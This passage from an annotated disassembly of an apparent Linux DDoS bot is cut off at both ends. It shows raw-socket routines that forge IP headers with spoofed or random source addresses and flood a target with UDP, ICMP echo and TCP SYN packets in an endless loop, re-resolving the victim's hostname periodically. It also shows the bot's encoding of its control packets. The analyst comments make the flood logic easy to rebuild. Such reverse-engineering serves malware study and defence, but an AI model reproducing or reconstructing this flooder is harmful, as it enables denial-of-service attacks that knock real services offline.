ptr -84h ip_dst_B = byte ptr -80h ip_dst_A = byte ptr -7Ch ip_dest_copy = dword ptr -78h var_72 = word ptr -72h ip_src_str = byte ptr -70h ip_dst_str = byte ptr -50h ip_buf = byte ptr -30h ip_tos = byte ptr -2Fh ip_length = word ptr -2Eh ip_id = word ptr -2Ch ip_frag = word ptr -2Ah ip_ttl = byte ptr -28h ip_proto = byte ptr -27h ip_checksum = word ptr -26h ip_src = dword ptr -24h ip_dest = dword ptr -20h udp_sport = word ptr -1Ch udp_dport = word ptr -1Ah udp_len = word ptr -18h udp_checksum = word ptr -16h var_14 = byte ptr -14h sockaddr_family = word ptr -10h sockaddr_port = word ptr -0Eh sockaddr_ip = dword ptr -0Ch proto_udp = dword ptr 8 dest_port = word ptr 0Ch ip_dst_A_ = byte ptr 10h ip_dst_B_ = byte ptr 14h ip_dst_C_ = byte ptr 18h ip_dst_D_ = byte ptr 1Ch ip_src_A_ = byte ptr 20h ip_src_B_ = byte ptr 24h ip_src_C_ = byte ptr 28h ip_src_D_ = byte ptr 2Ch do_resolve = dword ptr 30h hostname = dword ptr 34h push ebp mov ebp, esp sub esp, 0A0h push edi push esi push ebx mov cl, [ebp+ip_dst_A_] mov [ebp+ip_dst_A], cl mov cl, [ebp+ip_dst_B_] mov [ebp+ip_dst_B], cl mov cl, [ebp+ip_dst_C_] mov [ebp+ip_dst_C], cl mov cl, [ebp+ip_dst_D_] mov [ebp+ip_dst_D], cl mov cl, [ebp+ip_src_A_] mov [ebp+ip_src_A], cl mov cl, [ebp+ip_src_B_] mov [ebp+ip_src_B], cl mov cl, [ebp+ip_src_C_] mov [ebp+ip_src_C], cl mov bl, [ebp+ip_src_D_] mov [ebp+sockaddr_family], 2 call __random mov ecx, 0FFh cdq idiv ecx ; random number between 0 and 254 mov eax, edx xchg al, ah ; htons (random number) mov [ebp+sockaddr_port], ax movzx eax, bl push eax ; packet11 movzx eax, [ebp+ip_src_C] push eax movzx eax, [ebp+ip_src_B] push eax movzx eax, [ebp+ip_src_A] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" lea esi, [ebp+ip_src_str] push esi call sprintf add esp, 18h cmp [ebp+do_resolve], 0 jnz short loc_8049ABE movzx eax, [ebp+ip_dst_D] push eax movzx eax, [ebp+ip_dst_C] push eax movzx eax, [ebp+ip_dst_B] push eax movzx eax, [ebp+ip_dst_A] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" lea ebx, [ebp+ip_dst_str] push ebx call sprintf push ebx call inet_addr mov [ebp+sockaddr_ip], eax ; destination address add esp, 1Ch loc_8049ABE: ; CODE XREF: direct_ddos+94j push 0FFh push 3 push 2 call socket ; open a SOCK_RAW socket, type PF_INET, proto IPPROTO_RAW mov [ebp+sock], eax add esp, 0Ch test eax, eax jle exit mov [ebp+ip_buf], 45h mov [ebp+ip_length], 1C28h mov [ebp+ip_id], 5504h call __random mov ecx, 82h cdq idiv ecx add dl, 78h mov [ebp+ip_ttl], dl ; ttl from 120 to 249 push esi ; source address call inet_addr mov [ebp+ip_src], eax add esp, 4 cmp [ebp+do_resolve], 0 jnz short loc_8049B21 lea eax, [ebp+ip_dst_str] push eax call inet_addr ; destination address mov [ebp+ip_dest], eax add esp, 4 loc_8049B21: ; CODE XREF: direct_ddos+11Cj mov [ebp+ip_frag], 0FE1Fh mov [ebp+ip_checksum], 0 cmp [ebp+proto_udp], 0 jz short icmp_packet mov [ebp+ip_proto], 11h ; IPPROTO_UDP call __random mov ecx, 0FFh cdq idiv ecx mov eax, edx xchg al, ah mov [ebp+udp_sport], ax ; source port between 0 and 254 mov ax, [ebp+dest_port] xchg al, ah mov [ebp+udp_dport], ax mov [ebp+udp_len], 900h mov edx, 9 lea esi, [ebp+udp_sport] xor ebx, ebx mov [ebp+var_72], 0 loc_8049B6C: ; CODE XREF: direct_ddos+186j movzx eax, word ptr [esi] add ebx, eax add esi, 2 add edx, 0FFFFFFFEh cmp edx, 1 jg short loc_8049B6C jnz short loc_8049B89 mov al, [esi] mov byte ptr [ebp+var_72], al movzx eax, [ebp+var_72] add ebx, eax loc_8049B89: ; CODE XREF: direct_ddos+188j mov edx, ebx sar edx, 10h movzx eax, bx lea ebx, [eax+edx] mov eax, ebx sar eax, 10h add ebx, eax mov eax, ebx not ax mov [ebp+var_72], ax mov [ebp+udp_checksum], ax mov [ebp+var_14], 61h jmp short ip_packet ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 icmp_packet: ; CODE XREF: direct_ddos+13Dj mov [ebp+ip_proto], 1 ; IPPROTO_ICMP mov byte ptr [ebp+udp_sport], 8 ; echo request mov byte ptr [ebp+udp_sport+1], 0 mov [ebp+udp_dport], 0 ; icmp checksum mov edx, 9 lea esi, [ebp+udp_sport] xor ebx, ebx mov [ebp+var_72], 0 lea esi, [esi] loc_8049BD4: ; CODE XREF: direct_ddos+1EEj movzx eax, word ptr [esi] add ebx, eax add esi, 2 add edx, 0FFFFFFFEh cmp edx, 1 jg short loc_8049BD4 jnz short loc_8049BF1 mov al, [esi] mov byte ptr [ebp+var_72], al movzx eax, [ebp+var_72] add ebx, eax loc_8049BF1: ; CODE XREF: direct_ddos+1F0j mov edx, ebx sar edx, 10h movzx eax, bx lea ebx, [eax+edx] mov eax, ebx sar eax, 10h add ebx, eax mov eax, ebx not ax mov [ebp+var_72], ax mov [ebp+udp_dport], ax ; icmp checksum ip_packet: ; CODE XREF: direct_ddos+1B8j mov [ebp+msglen], 1Dh mov edx, 14h lea esi, [ebp+ip_buf] xor ebx, ebx mov [ebp+var_72], 0 lea esi, [esi] loc_8049C2C: ; CODE XREF: direct_ddos+246j movzx eax, word ptr [esi] add ebx, eax add esi, 2 add edx, 0FFFFFFFEh cmp edx, 1 jg short loc_8049C2C jnz short loc_8049C49 mov al, [esi] mov byte ptr [ebp+var_72], al movzx eax, [ebp+var_72] add ebx, eax loc_8049C49: ; CODE XREF: direct_ddos+248j mov edx, ebx sar edx, 10h movzx eax, bx lea ebx, [eax+edx] mov eax, ebx sar eax, 10h add ebx, eax mov eax, ebx not ax mov [ebp+var_72], ax mov [ebp+ip_checksum], ax xor ebx, ebx lea ecx, [ebp+sockaddr_family] mov [ebp+sockaddr_addr], ecx lea edi, [ebp+ip_buf] lea esi, [esi] loc_8049C78: ; CODE XREF: direct_ddos+32Aj xor esi, esi cmp [ebp+do_resolve], 0 jz short loc_8049CCE test ebx, ebx jg short loc_8049CCE mov ecx, [ebp+hostname] push ecx call gethostbyname mov edx, eax add esp, 4 test edx, edx jnz short loc_8049CAC push 258h call sleep mov esi, 1 add esp, 4 jmp short loc_8049CCE ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8049CAC: ; CODE XREF: direct_ddos+2A0j push 4 lea eax, [ebp+ip_dest_copy] push eax mov eax, [edx+10h] mov eax, [eax] push eax call bcopy mov eax, [ebp+ip_dest_copy] mov [ebp+ip_dest], eax mov [ebp+sockaddr_ip], eax mov ebx, 9C40h ; resolve every 40000 packets add esp, 0Ch loc_8049CCE: ; CODE XREF: direct_ddos+28Aj ; direct_ddos+28Ej ... test esi, esi jnz short loc_8049D1D push 10h ; sockaddr_len mov ecx, [ebp+sockaddr_addr] push ecx push 0 ; flags mov ecx, [ebp+msglen] push ecx push edi ; msg mov ecx, [ebp+sock] push ecx call sendto push 10h mov ecx, [ebp+sockaddr_addr] push ecx push 0 mov ecx, [ebp+msglen] push ecx push edi mov ecx, [ebp+sock] push ecx call sendto add esp, 30h push 14h call usleep add esp, 4 loc_8049D1D: ; CODE XREF: direct_ddos+2DCj dec ebx jmp loc_8049C78 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 exit: ; CODE XREF: direct_ddos+E3j mov ds:child_pid, 0 xor eax, eax lea esp, [ebp+var_AC] pop ebx pop esi pop edi mov esp, ebp pop ebp retn direct_ddos endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8049D40 proc near ; CODE XREF: real_start+BC4p ; real_start+C9Ep var_D8 = byte ptr -0D8h var_CC = dword ptr -0CCh var_C8 = byte ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = byte ptr -0BCh var_B8 = byte ptr -0B8h var_B4 = byte ptr -0B4h var_B0 = byte ptr -0B0h var_AC = byte ptr -0ACh var_A8 = byte ptr -0A8h var_A4 = byte ptr -0A4h var_9E = word ptr -9Eh var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_78 = byte ptr -78h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = byte ptr -50h var_4F = byte ptr -4Fh var_4E = word ptr -4Eh var_4C = byte ptr -4Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_36 = word ptr -36h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = byte ptr -30h var_2F = byte ptr -2Fh var_2E = word ptr -2Eh var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_8 = byte ptr 10h arg_C = byte ptr 14h arg_10 = dword ptr 18h arg_14 = word ptr 1Ch arg_18 = dword ptr 20h arg_1C = byte ptr 24h arg_20 = byte ptr 28h arg_24 = byte ptr 2Ch arg_28 = byte ptr 30h arg_2C = dword ptr 34h arg_30 = dword ptr 38h arg_34 = dword ptr 3Ch push ebp mov ebp, esp sub esp, 0CCh push edi push esi push ebx mov bl, [ebp+arg_0] mov [ebp+var_A4], bl mov bl, [ebp+arg_4] mov [ebp+var_A8], bl mov bl, [ebp+arg_8] mov [ebp+var_AC], bl mov bl, [ebp+arg_C] mov [ebp+var_C8], bl mov bl, [ebp+arg_1C] mov [ebp+var_B0], bl mov bl, [ebp+arg_20] mov [ebp+var_B4], bl mov bl, [ebp+arg_24] mov [ebp+var_B8], bl mov bl, [ebp+arg_28] mov [ebp+var_BC], bl cmp [ebp+arg_2C], 0 jz short loc_8049D9D dec [ebp+arg_2C] loc_8049D9D: ; CODE XREF: sub_8049D40+58j push 0 call __libc_time add esp, 4 push eax call srand add esp, 4 mov [ebp+var_10], 2 call __random mov ebx, 0FFh cdq idiv ebx mov eax, edx xchg al, ah mov [ebp+var_E], ax cmp [ebp+arg_30], 0 jnz short loc_8049E0B movzx eax, [ebp+var_C8] push eax movzx eax, [ebp+var_AC] push eax movzx eax, [ebp+var_A8] push eax movzx eax, [ebp+var_A4] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" lea ebx, [ebp+var_78] push ebx call sprintf push ebx call inet_addr mov [ebp+var_C], eax add esp, 1Ch loc_8049E0B: ; CODE XREF: sub_8049D40+8Fj mov [ebp+var_38], 45h mov [ebp+var_36], 2800h mov [ebp+var_37], 0 push 0FFh push 3 push 2 call socket ; open a SOCK_RAW socket, type PF_INET, proto IPPROTO_RAW mov [ebp+var_C0], eax add esp, 0Ch test eax, eax jle loc_804A178 cmp [ebp+arg_18], 0 jz short loc_8049E72 movzx eax, [ebp+var_BC] push eax movzx eax, [ebp+var_B8] push eax movzx eax, [ebp+var_B4] push eax movzx eax, [ebp+var_B0] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" lea eax, [ebp+var_98] push eax call sprintf add esp, 18h loc_8049E72: ; CODE XREF: sub_8049D40+FCj cmp [ebp+arg_30], 0 jnz short loc_8049E87 lea eax, [ebp+var_78] push eax call inet_addr mov [ebp+var_28], eax add esp, 4 loc_8049E87: ; CODE XREF: sub_8049D40+136j mov [ebp+var_32], 0 mov [ebp+var_2F], 6 mov al, [ebp+var_17] and al, 0EFh mov [ebp+var_17], al mov al, [ebp+var_18] and al, 0Fh or al, 50h mov [ebp+var_18], al mov [ebp+var_1C], 0 and al, 50h mov [ebp+var_18], al mov [ebp+var_17], 2 mov [ebp+var_12], 0 mov eax, [ebp+arg_10] shl eax, 8 add ax, [ebp+arg_14] xchg al, ah mov [ebp+var_22], ax xor edi, edi mov [ebp+var_50], 0 cmp [ebp+arg_30], 0 jnz short loc_8049EDB mov eax, [ebp+var_28] mov [ebp+var_54], eax loc_8049EDB: ; CODE XREF: sub_8049D40+193j mov [ebp+var_4F], 6 mov [ebp+var_4E], 1400h xor esi, esi lea ebx, [ebp+var_58] mov [ebp+var_C4], ebx loc_8049EF0: ; CODE XREF: sub_8049D40+222j ; sub_8049D40+429j ... mov [ebp+var_CC], 0 cmp [ebp+arg_30], 0 jz short loc_8049F5B test esi, esi jg short loc_8049F5B mov ebx, [ebp+arg_34] push ebx call gethostbyname mov edx, eax add esp, 4 test edx, edx jnz short loc_8049F30 push 258h call sleep mov [ebp+var_CC], 1 add esp, 4 jmp short loc_8049F5B ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8049F30: ; CODE XREF: sub_8049D40+1D4j push 4 lea eax, [ebp+var_9C] push eax mov eax, [edx+10h] mov eax, [eax] push eax call bcopy mov eax, [ebp+var_9C] mov [ebp+var_28], eax mov [ebp+var_C], eax mov [ebp+var_54], eax mov esi, 9C40h add esp, 0Ch loc_8049F5B: ; CODE XREF: sub_8049D40+1BEj ; sub_8049D40+1C2j ... cmp [ebp+var_CC], 0 jnz short loc_8049EF0 call random mov ebx, 0C11h cdq idiv ebx mov eax, edx add ah, 2 xchg al, ah mov [ebp+var_34], ax call random mov ebx, 579h cdq idiv ebx mov eax, edx add ax, 0C8h xchg al, ah mov [ebp+var_16], ax call random mov ebx, 9C40h cdq idiv ebx mov eax, edx inc ax xchg al, ah mov [ebp+var_24], ax call random mov ebx, 2625A00h cdq idiv ebx lea eax, [edx+1] xchg al, ah ror eax, 10h xchg al, ah mov [ebp+var_20], eax call random mov ebx, 74h cdq idiv ebx add dl, 7Dh mov [ebp+var_30], dl cmp [ebp+arg_18], 0 jnz short loc_804A01C call __random mov ebx, 0FFh cdq idiv ebx push edx call __random cdq idiv ebx push edx call __random cdq idiv ebx push edx call __random cdq idiv ebx push edx push offset aU_U_U_U ; "%u.%u.%u.%u" lea eax, [ebp+var_98] push eax call sprintf add esp, 18h loc_804A01C: ; CODE XREF: sub_8049D40+29Dj lea eax, [ebp+var_98] push eax call inet_addr mov [ebp+var_2C], eax mov [ebp+var_58], eax mov [ebp+var_14], 0 mov [ebp+var_2E], 0 push 14h lea eax, [ebp+var_4C] push eax lea eax, [ebp+var_24] push eax call bcopy add esp, 10h mov edx, 20h mov ebx, [ebp+var_C4] mov [ebp+var_CC], ebx xor ecx, ecx mov [ebp+var_9E], 0 loc_804A068: ; CODE XREF: sub_8049D40+342j mov ebx, [ebp+var_CC] movzx eax, word ptr [ebx] add ecx, eax add ebx, 2 mov [ebp+var_CC], ebx add edx, 0FFFFFFFEh cmp edx, 1 jg short loc_804A068 jnz short loc_804A097 mov al, [ebx] mov byte ptr [ebp+var_9E], al movzx eax, [ebp+var_9E] add ecx, eax loc_804A097: ; CODE XREF: sub_8049D40+344j mov edx, ecx sar edx, 10h movzx eax, cx lea ecx, [eax+edx] mov eax, ecx sar eax, 10h add ecx, eax mov eax, ecx not ax mov [ebp+var_9E], ax mov [ebp+var_14], ax mov edx, 14h lea ebx, [ebp+var_38] mov [ebp+var_CC], ebx xor ecx, ecx mov [ebp+var_9E], 0 lea esi, [esi] loc_804A0D4: ; CODE XREF: sub_8049D40+3AEj mov ebx, [ebp+var_CC] movzx eax, word ptr [ebx] add ecx, eax add ebx, 2 mov [ebp+var_CC], ebx add edx, 0FFFFFFFEh cmp edx, 1 jg short loc_804A0D4 jnz short loc_804A103 mov al, [ebx] mov byte ptr [ebp+var_9E], al movzx eax, [ebp+var_9E] add ecx, eax loc_804A103: ; CODE XREF: sub_8049D40+3B0j mov edx, ecx sar edx, 10h movzx eax, cx lea ecx, [eax+edx] mov eax, ecx sar eax, 10h add ecx, eax mov eax, ecx not ax mov [ebp+var_9E], ax mov [ebp+var_2E], ax push 10h lea eax, [ebp+var_10] push eax push 0 push 28h lea eax, [ebp+var_38] push eax mov ebx, [ebp+var_C0] push ebx call sendto add esp, 18h cmp [ebp+arg_2C], 0 jnz short loc_804A154 push 12Ch call usleep jmp short loc_804A165 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804A154: ; CODE XREF: sub_8049D40+406j cmp [ebp+arg_2C], edi jnz short loc_804A170 push 12Ch call usleep xor edi, edi loc_804A165: ; CODE XREF: sub_8049D40+412j dec esi add esp, 4 jmp loc_8049EF0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804A170: ; CODE XREF: sub_8049D40+417j inc edi jmp loc_8049EF0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804A178: ; CODE XREF: sub_8049D40+F2j mov ds:child_pid, 0 xor eax, eax lea esp, [ebp+var_D8] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8049D40 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame packet_encode proc near ; CODE XREF: real_start+286p ; real_start+582p var_C = byte ptr -0Ch input_size = dword ptr 8 input = dword ptr 0Ch output = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov edi, [ebp+input_size] mov esi, [ebp+input] mov ebx, [ebp+output] mov al, ds:crypto_key mov [ebx], al mov al, [esi] add al, 17h movsx eax, al push eax push offset aC ; "%c" push ebx call sprintf ; output[0] = crypto_key + 0x17 mov ecx, 1 cmp ecx, edi jz short loc_804A1DD nop loc_804A1C8: ; CODE XREF: packet_encode+47j movzx edx, byte ptr [ebx+ecx-1] movzx eax, byte ptr [ecx+esi] lea eax, [edx+eax+17h] mov [ecx+ebx], al ; output[ecx] = outpuc[ecx-1] + input[ecx] + 0x17 inc ecx cmp ecx, edi jnz short loc_804A1C8 ; while (ecx < input_size) loc_804A1DD: ; CODE XREF: packet_encode+31j lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn packet_encode endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame packet_decode proc near ; CODE XREF: real_start+1D8p var_10 = byte ptr -10h str_ptr = dword ptr -4 input_size = dword ptr 8 input = dword ptr 0Ch output = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push edi push esi push ebx mov edi, [ebp+input_size] lea ebx, [edi-1] ; input_size - 1 lea eax, [edi+3] ; input_size + 3 and al, 0FCh sub esp, eax ; dynamically allocate a local var big enough to hold ip_data_2 mov [ebp+str_ptr], esp mov al, ds:crypto_key mov esi, [ebp+output] mov [esi], al ; output[0] = crypto_key test ebx, ebx jl loc_804A29B ; while (ebx > 0) loc_804A214: ; CODE XREF: packet_decode+ADj lea edx, [ebx-1] ; edx = ebx - 1 test ebx, ebx jz short ebx_is_0 mov esi, [ebp+input] movzx eax, byte ptr [ebx+esi] movzx edx, byte ptr [edx+esi] sub eax, edx ; eax = input[ebx] - input[ebx-1] jmp short loc_804A232 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ebx_is_0: ; CODE XREF: packet_decode+31j mov esi, [ebp+input] movzx eax, byte ptr [esi] loc_804A232: ; CODE XREF: packet_decode+40j lea ecx, [eax-17h] ; ecx = eax - 23 test ecx, ecx jge short ecx_is_positive ; skip the next block if ecx > 0 lea esi, [esi+0] add256: ; CODE XREF: packet_decode+5Aj add ecx, 100h ; add 256 to ecx until it becomes positive js short add256 ecx_is_positive: ; CODE XREF: packet_decode+4Fj xor edx, edx cmp edx, edi jge short loc_804A25D ; skip the next block if input_size == 0 lea esi, [esi] copy_buf_2_str: ; CODE XREF: packet_decode+73j mov esi, [ebp+output] mov al, [edx+esi] mov esi, [ebp+str_ptr] mov [edx+esi], al ; str[edx] = output[edx] inc edx ; edx++ cmp edx, edi ; while (edx < input_size) jl short copy_buf_2_str loc_804A25D: ; CODE XREF: packet_decode+60j mov esi, [ebp+output] mov [esi], cl ; output[0] = cl mov edx, 1 cmp edx, edi jge short loc_804A27E ; skip the next block if input_size == 1 nop copy_str_2_buf: ; CODE XREF: packet_decode+94j mov esi, [ebp+str_ptr] mov al, [edx+esi-1] mov esi, [ebp+output] mov [edx+esi], al ; output[edx] = str[edx-1] inc edx ; edx++ cmp edx, edi ; while (edx < input_size) jl short copy_str_2_buf loc_804A27E: ; CODE XREF: packet_decode+81j mov esi, [ebp+str_ptr] push esi push ecx push offset aCS ; "%c%s" mov esi, [ebp+output] push esi call sprintf add esp, 10h dec ebx ; ebx-- jns loc_804A214 ; while (ebx >= 0) loc_804A29B: ; CODE XREF: packet_decode+26j lea esp, [ebp+var_10] pop ebx pop esi pop edi mov esp, ebp pop ebp retn packet_decode endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; [000001E4 BYTES: COLLAPSED FUNCTION setenv. PRESS KEYPAD "+" TO EXPAND] ; [00000065 BYTES: COLLAPSED FUNCTION unsetenv. PRESS KEYPAD "+" TO EXPAND] align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_804A4F4 proc near ; CODE XREF: sub_804A580+14p ; sub_804A580+2Cp ... var_14 = byte ptr -14h var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 push edi push esi push ebx xor esi, esi cmp dword_8078520, esi jle short loc_804A574 nop loc_804A508: ; CODE XREF: sub_804A4F4+7Ej mov eax, ds:dword_807A348[esi*4] mov [ebp+var_8], eax mov edi, [ebp+var_8] xor al, al cld mov ecx, 0FFFFFFFFh repne scasb not ecx mov ebx, ecx dec ebx mov edi, [ebp+arg_0] cld mov ecx, 0FFFFFFFFh repne scasb not ecx dec ecx cmp ecx, ebx jle short loc_804A56B mov edx, [ebp+var_8] push edx add ecx, [ebp+arg_0] mov eax, ecx sub eax, ebx push eax call strcasecmp mov ecx, eax add esp, 8 test ecx, ecx jnz short loc_804A56B mov edi, [ebp+arg_0] xor al, al cld mov ecx, 0FFFFFFFFh repne scasb not ecx mov edx, ecx dec edx sub edx, ebx mov eax, [ebp+arg_0] mov byte ptr [edx+eax], 0 loc_804A56B: ; CODE XREF: sub_804A4F4+40j ; sub_804A4F4+5Aj inc esi cmp dword_8078520, esi jg short loc_804A508 loc_804A574: ; CODE XREF: sub_804A4F4+11j lea esp, [ebp+var_14] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_804A4F4 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_804A580 proc near ; CODE XREF: gethostbyname+285p ; .text:0804C4B5p var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] cmp dword_8078520, 0 jz short loc_804A5BE mov eax, [esi] push eax call sub_804A4F4 xor ebx, ebx add esp, 4 mov eax, [esi+4] cmp dword ptr [eax], 0 jz short loc_804A5BE lea esi, [esi] loc_804A5A8: ; CODE XREF: sub_804A580+3Cj mov eax, [eax+ebx*4] push eax call sub_804A4F4 add esp, 4 inc ebx mov eax, [esi+4] cmp dword ptr [eax+ebx*4], 0 jnz short loc_804A5A8 loc_804A5BE: ; CODE XREF: sub_804A580+Fj ; sub_804A580+24j mov eax, esi lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_804A580 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_804A5CC proc near ; CODE XREF: .text:0804BF0Ep ; .text:0804BF40p ... var_174 = byte ptr -174h var_168 = dword ptr -168h var_164 = dword ptr -164h var_160 = dword ptr -160h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_154 = dword ptr -154h var_150 = dword ptr -150h var_14C = byte ptr -14Ch var_148 = dword ptr -148h var_144 = dword ptr -144h var_140 = byte ptr -140h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 168h push edi push esi push ebx cmp dword_8078524, 0 jz loc_804A9C9 cmp [ebp+arg_0], 0 jz loc_804A9C9 cmp dword_8078524, 0FFFFFFFFh jnz loc_804A8F7 push 0 push 1 push 2 call socket ; open a SOCK_STREAM socket, type PF_INET, proto IP mov [ebp+var_150], eax add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_804A9C9 mov [ebp+var_148], 140h lea edi, [ebp+var_140] mov [ebp+var_144], edi lea eax, [ebp+var_148] push eax push 8912h mov edi, [ebp+var_150] push edi call __libc_ioctl add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_804A9C9 mov edi, [ebp+var_148] shr edi, 5 mov [ebp+var_154], edi mov ds:dword_80793B0, offset unk_80792C0 mov edi, [ebp+var_144] mov [ebp+var_168], edi cmp [ebp+var_154], 0 jz loc_804A8DB mov ebx, edi add ebx, 14h mov eax, [ebp+var_154] and eax, 1 cmp [ebp+var_154], 0 jle short loc_804A6A4 test eax, eax jz loc_804A747 loc_804A6A4: ; CODE XREF: sub_804A5CC+CEj mov edi, [ebp+var_168] push edi mov eax, ds:dword_80793B0 push eax call strcpy push edi push 891Bh mov edi, [ebp+var_150] push edi call __libc_ioctl add esp, 14h cmp eax, 0FFFFFFFFh jz short loc_804A731 cmp word ptr [ebx-4], 2 jnz short loc_804A731 mov esi, [ebx] mov edi, [ebp+var_168] push edi push 8915h mov edi, [ebp+var_150] push edi call __libc_ioctl add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_804A731 cmp word ptr [ebx-4], 2 jnz short loc_804A731 mov edx, [ebx] and edx, esi jz short loc_804A731 mov eax, ds:dword_80793B0 mov [eax+10h], edx mov [eax+14h], esi cmp dword_8078524, 0FFFFFFFFh jnz short loc_804A724 mov dword_8078524, 0 loc_804A724: ; CODE XREF: sub_804A5CC+14Cj add ds:dword_80793B0, 18h inc dword_8078524 loc_804A731: ; CODE XREF: sub_804A5CC+102j ; sub_804A5CC+109j ... add ebx, 20h add [ebp+var_168], 20h dec [ebp+var_154] jz loc_804A8DB loc_804A747: ; CODE XREF: sub_804A5CC+D2j mov [ebp+var_158], ebx lea edi, [ebx-4] mov [ebp+var_15C], edi mov [ebp+var_160], ebx mov [ebp+var_164], edi lea esi, [esi] loc_804A764: ; CODE XREF: sub_804A5CC+309j mov edi, [ebp+var_168] push edi mov eax, ds:dword_80793B0 push eax call strcpy push edi push 891Bh mov edi, [ebp+var_150] push edi call __libc_ioctl add esp, 14h cmp eax, 0FFFFFFFFh jz short loc_804A807 mov edi, [ebp+var_164] cmp word ptr [edi], 2 jnz short loc_804A807 mov edi, [ebp+var_160] mov ebx, [edi] mov edi, [ebp+var_168] push edi push 8915h mov edi, [ebp+var_150] push edi call __libc_ioctl add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_804A807 mov edi, [ebp+var_15C] cmp word ptr [edi], 2 jnz short loc_804A807 mov edi, [ebp+var_158] mov edx, [edi] and edx, ebx jz short loc_804A807 mov eax, ds:dword_80793B0 mov [eax+10h], edx mov [eax+14h], ebx cmp dword_8078524, 0FFFFFFFFh jnz short loc_804A7FA mov dword_8078524, 0 loc_804A7FA: ; CODE XREF: sub_804A5CC+222j add ds:dword_80793B0, 18h inc dword_8078524 loc_804A807: ; CODE XREF: sub_804A5CC+1C2j ; sub_804A5CC+1CEj ... mov ebx, [ebp+var_168] add ebx, 20h push ebx mov eax, ds:dword_80793B0 push eax call strcpy push ebx push 891Bh mov edi, [ebp+var_150] push edi call __libc_ioctl add esp, 14h cmp eax, 0FFFFFFFFh jz short loc_804A8AB mov edi, 